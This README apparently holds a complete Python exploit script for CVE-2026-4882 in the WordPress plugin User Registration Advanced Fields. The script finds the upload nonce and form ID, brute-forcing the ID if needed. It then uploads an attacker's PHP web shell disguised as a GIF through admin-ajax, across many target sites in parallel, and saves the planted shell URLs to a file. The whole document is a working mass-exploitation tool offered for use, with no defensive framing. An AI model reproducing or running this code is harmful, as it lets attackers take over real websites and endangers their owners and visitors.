README.md
Rendering markdown...
#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════╗
║ CVE-2026-4882 — Full Auto Exploit ║
║ User Registration Advanced Fields <= 1.6.20 ║
║ by: Shadow x Friska 😈🔥 ║
╚══════════════════════════════════════════════════╝
Usage:
python3 shadow.py -u https://target.com -s shadow.php
python3 shadow.py -f targets.txt -s shadow.php -t 30
"""
import re
import sys
import os
import argparse
import warnings
import requests
import threading
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
warnings.filterwarnings("ignore")
requests.packages.urllib3.disable_warnings()
BANNER = """
╔══════════════════════════════════════════════════╗
║ CVE-2026-4882 — Full Auto Exploit ║
║ User Registration Advanced Fields <= 1.6.20 ║
║ by: Shadow x Friska 😈🔥 ║
╚══════════════════════════════════════════════════╝
"""
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
}
stop_event = threading.Event()
# Priority paths — ordered by likelihood, deduplicated
PRIORITY_PATHS = [
"/registration/", "/register/", "/signup/", "/sign-up/",
"/my-account/", "/account/", "/",
"/login/", "/join/", "/member/",
"/create-account/", "/user-registration/",
"/registrazione/", "/registrierung/", "/inscription/", "/registro/",
"/daftar/", "/belepes/", "/masuk/",
"/wp-login.php?action=register",
]
print_lock = threading.Lock()
file_lock = threading.Lock()
def log(icon, msg):
with print_lock:
print(f" {icon} {msg}")
def extract_from_html(html):
"""Extract nonce + form_id from HTML"""
nonce = None
m = re.search(r'uraf_profile_picture_upload_nonce["\']:\s*["\']([a-f0-9]+)', html)
if m:
nonce = m.group(1)
fids = re.findall(r'data-form-id=["\']?(\d+)', html)
has_pp = bool(re.search(r'profile-pic-upload|uraf-profile-picture|profile_pic_url', html, re.I))
return nonce, list(set(fids)), has_pp
def scan_pages(session, target, paths, timeout=10, verbose=False):
"""Scan list of paths, collect nonce + form_id. Stops when both found."""
nonce = None
form_ids = []
has_pp = False
source = None
total = len(paths)
for i, path in enumerate(paths, 1):
if stop_event.is_set():
break
url = f"{target}{path}" if path.startswith("/") else f"{target}/{path}"
if verbose:
print(f"\r ⏳ [{i}/{total}] {path:<40}", end="", flush=True)
try:
r = session.get(url, timeout=timeout, allow_redirects=True)
if r.status_code != 200:
continue
n, fids, pp = extract_from_html(r.text)
if n and not nonce:
nonce = n
source = url
if verbose:
print(f"\r 🔑 Nonce found at {path} ")
if fids:
for fid in fids:
if fid not in form_ids:
form_ids.append(fid)
if verbose:
print(f"\r 🎯 Form ID {fid} at {path} ")
if pp:
has_pp = True
if nonce and form_ids:
break
except Exception:
continue
if verbose:
print(f"\r ✅ Scanned {total} paths ")
return nonce, form_ids, has_pp, source
def crawl_extra_paths(session, target, timeout=10):
"""Crawl homepage + sitemap for paths not in PRIORITY_PATHS"""
parsed = urlparse(target)
paths = set()
try:
r = session.get(f"{target}/", timeout=timeout, allow_redirects=True)
if r.status_code == 200:
hrefs = re.findall(r'href=["\']([^"\'#]+)', r.text)
for href in hrefs:
full = urljoin(target, href)
p = urlparse(full)
if p.netloc == parsed.netloc and not re.search(r'\.(css|js|png|jpg|gif|svg|woff|ico|pdf)$', p.path, re.I):
paths.add(p.path.rstrip("/") + "/")
except Exception:
pass
try:
r = session.get(f"{target}/sitemap.xml", timeout=timeout)
if r.status_code == 200:
locs = re.findall(r'<loc>([^<]+)</loc>', r.text)
for loc in locs[:50]:
p = urlparse(loc)
if p.netloc == parsed.netloc:
paths.add(p.path.rstrip("/") + "/")
except Exception:
pass
# Remove paths already in priority list
priority_set = set(PRIORITY_PATHS)
return [p for p in sorted(paths) if p not in priority_set and p.rstrip("/") not in priority_set]
def fetch_nonce(session, target, timeout=10, verbose=False):
"""
Phase 1: Find nonce + form_id
Step 1: Priority paths (fast)
Step 2: Crawl homepage + sitemap (fallback for custom paths)
"""
# Step 1: Priority paths
nonce, form_ids, has_pp, source = scan_pages(session, target, PRIORITY_PATHS, timeout, verbose)
if nonce and form_ids:
return {"nonce": nonce, "form_ids": form_ids, "has_pp": has_pp, "source": source}
# Step 2: Crawl for custom paths
if verbose:
print(" 📡 Crawling homepage + sitemap for extra paths...")
extra = crawl_extra_paths(session, target, timeout)
if extra:
if verbose:
print(f" 📡 Found {len(extra)} extra paths")
n2, fids2, pp2, src2 = scan_pages(session, target, extra, timeout, verbose)
if n2 and not nonce:
nonce = n2
source = src2
if fids2:
for fid in fids2:
if fid not in form_ids:
form_ids.append(fid)
if pp2:
has_pp = True
if nonce:
return {"nonce": nonce, "form_ids": form_ids, "has_pp": has_pp, "source": source}
return None
def brute_form_id(session, target, nonce, end=500, threads=20, timeout=10):
"""Brute force form_id via AJAX — stops on first hit"""
ajax_url = f"{target}/wp-admin/admin-ajax.php"
dummy = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00'
found_ids = []
found_event = threading.Event()
lock = threading.Lock()
def try_id(fid):
if found_event.is_set():
return None
try:
r = session.post(
ajax_url,
params={"action": "uraf_profile_picture_upload_method_upload", "security": nonce},
files={"file": ("probe.gif", dummy, "image/gif")},
data={"form_id": str(fid), "is_snapshot": "1"},
timeout=timeout,
)
txt = r.text
if '"success":true' in txt:
found_ids.append(fid)
found_event.set()
return fid
elif '"success":false' in txt:
msg_match = re.search(r'"message":"([^"]+)"', txt)
if msg_match:
msg = msg_match.group(1).lower()
if 'not found' not in msg and 'invalid form' not in msg and 'no form' not in msg:
found_ids.append(fid)
found_event.set()
return fid
except Exception:
pass
return None
with ThreadPoolExecutor(max_workers=threads) as pool:
futures = {pool.submit(try_id, i): i for i in range(1, end + 1)}
for future in as_completed(futures):
if found_event.is_set():
for f in futures:
f.cancel()
break
return sorted(set(found_ids))
def upload_shell(session, target, nonce, form_id, shell_content, shell_name, timeout=30, verbose=False):
"""Upload shell file — retries up to 2 times"""
url = f"{target}/wp-admin/admin-ajax.php"
for attempt in range(2):
try:
r = session.post(
url,
params={"action": "uraf_profile_picture_upload_method_upload", "security": nonce},
files={"file": (shell_name, shell_content, "image/gif")},
data={"form_id": str(form_id), "is_snapshot": "1"},
timeout=timeout,
)
try:
resp = r.json()
except Exception:
if verbose:
log("⚠️", f"Upload attempt {attempt+1}: non-JSON response (HTTP {r.status_code})")
continue
if resp.get('success'):
return resp.get('data', {}).get('profile_picture_url', '')
else:
if verbose:
msg = resp.get('data', {}).get('message', '') if isinstance(resp.get('data'), dict) else str(resp.get('data', ''))
log("⚠️", f"Upload attempt {attempt+1}: {msg or r.text[:100]}")
except Exception as e:
if verbose:
log("⚠️", f"Upload attempt {attempt+1}: {str(e)[:80]}")
return None
def resolve_target(session, target, timeout=10):
"""Follow redirects on target root → return final base URL (e.g. http→https, www→non-www)"""
try:
r = session.get(f"{target}/", timeout=timeout, allow_redirects=True)
parsed = urlparse(r.url)
return f"{parsed.scheme}://{parsed.netloc}"
except Exception:
return target
def exploit_single(target, shell_content, shell_name, brute_max=500, brute_threads=20, timeout=10):
"""Full exploit chain for single target — lightweight, fast"""
target = target.rstrip("/")
session = requests.Session()
session.headers.update(HEADERS)
session.verify = False
# Auto-resolve redirects (http→https, www→non-www, etc)
target = resolve_target(session, target, timeout)
# Phase 1: Find nonce + form_id
info = fetch_nonce(session, target, timeout)
if not info:
return None, "no_nonce"
nonce = info["nonce"]
form_id = info["form_ids"][0] if info["form_ids"] else None
# Phase 2: Brute force if no form_id
if not form_id:
fids = brute_form_id(session, target, nonce, brute_max, brute_threads, timeout)
if fids:
form_id = fids[0]
else:
return None, "no_form_id"
# Phase 3: Upload
shell_url = upload_shell(session, target, nonce, form_id, shell_content, shell_name)
if shell_url:
return shell_url, "success"
else:
return None, "upload_failed"
def interactive_mode():
"""Interactive menu — no args needed"""
print(BANNER)
print(" ═══ Interactive Mode ═══\n")
# 1. Target file
while True:
target_file = input(" 📄 Target file (e.g. targets.txt): ").strip()
if not target_file:
print(" ❌ Cannot be empty!\n")
continue
if not os.path.isfile(target_file):
print(f" ❌ File not found: {target_file}\n")
continue
break
# 2. Threads
while True:
t_input = input(" ⚡ Threads 1-50 (default 30): ").strip()
if not t_input:
threads = 30
break
try:
threads = int(t_input)
if 1 <= threads <= 50:
break
print(" ❌ Must be 1-50!\n")
except ValueError:
print(" ❌ Must be a number!\n")
# Load targets
targets = []
with open(target_file, 'r') as fh:
for line in fh:
line = line.strip()
if line and not line.startswith('#'):
targets.append(line)
targets = list(dict.fromkeys(targets))
if not targets:
print(" ❌ No targets found in file!")
sys.exit(1)
# Shell file — default shadow.php in same dir
shell_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "shadow.php")
if not os.path.isfile(shell_path):
while True:
shell_path = input(" 📁 Shell file path: ").strip()
if os.path.isfile(shell_path):
break
print(f" ❌ File not found: {shell_path}\n")
shell_name = shell_path.replace("\\", "/").split("/")[-1]
with open(shell_path, 'rb') as f:
shell_content = f.read()
# Auto-prepend GIF89a polyglot header if missing
if not shell_content.startswith(b'GIF89a'):
shell_content = b'GIF89a\n' + shell_content
print()
print(f" 🎯 Targets : {len(targets)}")
print(f" 📁 Shell : {shell_path}")
print(f" ⚡ Threads : {threads}")
print(f" 💣 Brute : 1-500")
print()
return targets, shell_content, shell_name, threads, 500, 10
def main():
# If no args → interactive mode
if len(sys.argv) == 1:
targets, shell_content, shell_name, threads, brute_max, timeout = interactive_mode()
else:
parser = argparse.ArgumentParser(description="CVE-2026-4882 Full Auto Exploit")
parser.add_argument("-u", "--url", help="Single target URL")
parser.add_argument("-f", "--file", help="File with target URLs (one per line)")
parser.add_argument("-s", "--shell", required=True, help="Local shell file path")
parser.add_argument("-b", "--brute-max", type=int, default=500, help="Max form_id (default: 500)")
parser.add_argument("-t", "--threads", type=int, default=30, help="Parallel targets (default: 30)")
parser.add_argument("--timeout", type=int, default=10, help="Request timeout (default: 10s)")
args = parser.parse_args()
if not args.url and not args.file:
parser.error("Use -u for single target or -f for mass targets!")
threads = min(max(args.threads, 1), 50)
brute_max = args.brute_max
timeout = args.timeout
# Load targets
targets = []
if args.url:
targets.append(args.url.strip())
if args.file:
with open(args.file, 'r') as fh:
for line in fh:
line = line.strip()
if line and not line.startswith('#'):
targets.append(line)
targets = list(dict.fromkeys(targets))
# Read shell file once
shell_name = args.shell.replace("\\", "/").split("/")[-1]
with open(args.shell, 'rb') as f:
shell_content = f.read()
# Auto-prepend GIF89a polyglot header if missing
if not shell_content.startswith(b'GIF89a'):
shell_content = b'GIF89a\n' + shell_content
print(BANNER)
print(f" 🎯 Targets : {len(targets)}")
print(f" 📁 Shell : {args.shell}")
print(f" ⚡ Threads : {threads}")
print(f" 💣 Brute : 1-{brute_max}")
print()
uploaded = []
stats = {"success": 0, "no_nonce": 0, "no_form_id": 0, "upload_failed": 0, "error": 0}
def process_target(i, target):
if stop_event.is_set():
return
try:
# Shorter timeout in mass mode to avoid hanging
shell_url, status = exploit_single(
target, shell_content, shell_name,
brute_max, min(threads, 20), min(timeout, 8)
)
with print_lock:
tag = f"[{i}/{len(targets)}]"
if status == "success":
print(f" 🩷 {tag} {target}")
print(f" \033[92m→ {shell_url}\033[0m")
stats["success"] += 1
elif status == "no_nonce":
print(f" 💀 {tag} {target} — no nonce")
stats["no_nonce"] += 1
elif status == "no_form_id":
print(f" ⚠️ {tag} {target} — no form_id")
stats["no_form_id"] += 1
elif status == "upload_failed":
print(f" ❌ {tag} {target} — upload failed")
stats["upload_failed"] += 1
if shell_url:
with file_lock:
uploaded.append(shell_url)
with open("shell.txt", "a") as f:
f.write(f"{shell_url}\n")
except Exception as e:
with print_lock:
print(f" 💀 [{i}/{len(targets)}] {target} — {str(e)[:50]}")
stats["error"] += 1
# Single target = verbose, mass = compact parallel
if len(targets) == 1:
target = targets[0].rstrip("/")
session = requests.Session()
session.headers.update(HEADERS)
session.verify = False
# Auto-resolve redirects
target = resolve_target(session, target, timeout)
print(f"{'='*55}")
print(f" [Target 1/1] {target}")
print(f"{'='*55}")
print(f"\n ═══ Phase 1: Nonce + Form ID Discovery ═══")
info = fetch_nonce(session, target, timeout, verbose=True)
if not info:
log("💀", "Nonce not found! Plugin not active or WAF blocking.")
else:
log("🔑", f"Nonce : {info['nonce']}")
log("📍", f"Source : {info['source']}")
form_id = None
if info["form_ids"]:
form_id = info["form_ids"][0]
log("🎯", f"Form ID (HTML): {form_id}")
else:
print(f"\n ═══ Phase 2: Form ID Brute Force ═══")
log("💣", f"Brute forcing form_id (1-{brute_max})...")
fids = brute_form_id(session, target, info['nonce'], brute_max, min(threads, 20), timeout)
if fids:
form_id = fids[0]
log("🎯", f"Form ID found: {form_id}")
else:
log("💀", "No valid form_id found!")
if form_id:
print(f"\n ═══ Phase 3: Shell Upload ═══")
log("📤", f"Uploading {shell_name}...")
shell_url = upload_shell(session, target, info['nonce'], form_id, shell_content, shell_name, verbose=True)
if shell_url:
uploaded.append(shell_url)
with open("shell.txt", "a") as fout:
fout.write(f"{shell_url}\n")
log("✅", "Upload SUCCESS!")
log("🌐", f"Shell: \033[92m{shell_url}\033[0m")
log("🩷", "EXPLOIT SUCCESS!")
stats["success"] = 1
else:
log("❌", "Upload failed!")
else:
# Mass mode — parallel targets, 60s max per target
target_timeout = 60
with ThreadPoolExecutor(max_workers=threads) as pool:
futures = {pool.submit(process_target, i, t): t for i, t in enumerate(targets, 1)}
try:
for f in as_completed(futures, timeout=target_timeout * len(targets) / threads + 30):
if stop_event.is_set():
break
except TimeoutError:
print("\n ⏱️ Global timeout reached, moving on...")
except KeyboardInterrupt:
stop_event.set()
print("\n\n ❌ Stopped by user!")
# Summary
print(f"\n{'='*55}")
print(f" ═══ Final Summary ═══")
print(f" 🎯 Total targets : {len(targets)}")
print(f" 🩷 Success : {stats['success']}")
if stats["no_nonce"]:
print(f" 💀 No nonce : {stats['no_nonce']}")
if stats["no_form_id"]:
print(f" ⚠️ No form_id : {stats['no_form_id']}")
if stats["upload_failed"]:
print(f" ❌ Upload failed : {stats['upload_failed']}")
if stats["error"]:
print(f" 💀 Errors : {stats['error']}")
if uploaded:
print(f"\n 📄 Saved to: shell.txt")
print(f"{'='*55}\n")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
stop_event.set()
print("\n\n ❌ Interrupted!")
sys.exit(1)